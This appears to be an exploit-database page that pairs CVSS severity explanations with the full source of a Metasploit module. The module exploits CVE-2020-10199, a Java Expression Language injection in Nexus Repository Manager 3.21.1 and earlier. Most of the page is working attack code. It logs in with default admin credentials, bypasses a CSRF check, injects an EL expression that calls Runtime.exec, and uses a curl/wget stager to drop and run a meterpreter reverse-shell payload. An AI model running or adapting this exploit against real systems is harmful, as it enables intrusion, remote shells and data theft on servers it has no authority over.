The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Nexus Repository Manager 3.21.1-01 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))
register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])
])
end
def post_auth?
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end
# Send a GET / request to the server, check the response for a Server header
# containing the Nexus version, and then check if it's a vulnerable version
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
unless res
return CheckCode::Unknown('Target did not respond to check request.')
end
unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end
# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first
unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end
if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end
CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
print_status("Executing command stager for #{datastore['PAYLOAD']}")
# This will drop a binary payload to disk and execute it!
execute_cmdstager(
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end
def login(username, password)
print_status("Logging in with #{username}:#{password}")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
}, 3.5)
unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end
cookie = res.get_cookies
unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end
print_good("Logged in with #{cookie}")
cookie
end
# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)
unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end
unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end
print_good("Successfully executed command: #{cmd}")
end
# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end
# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF
# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end
end
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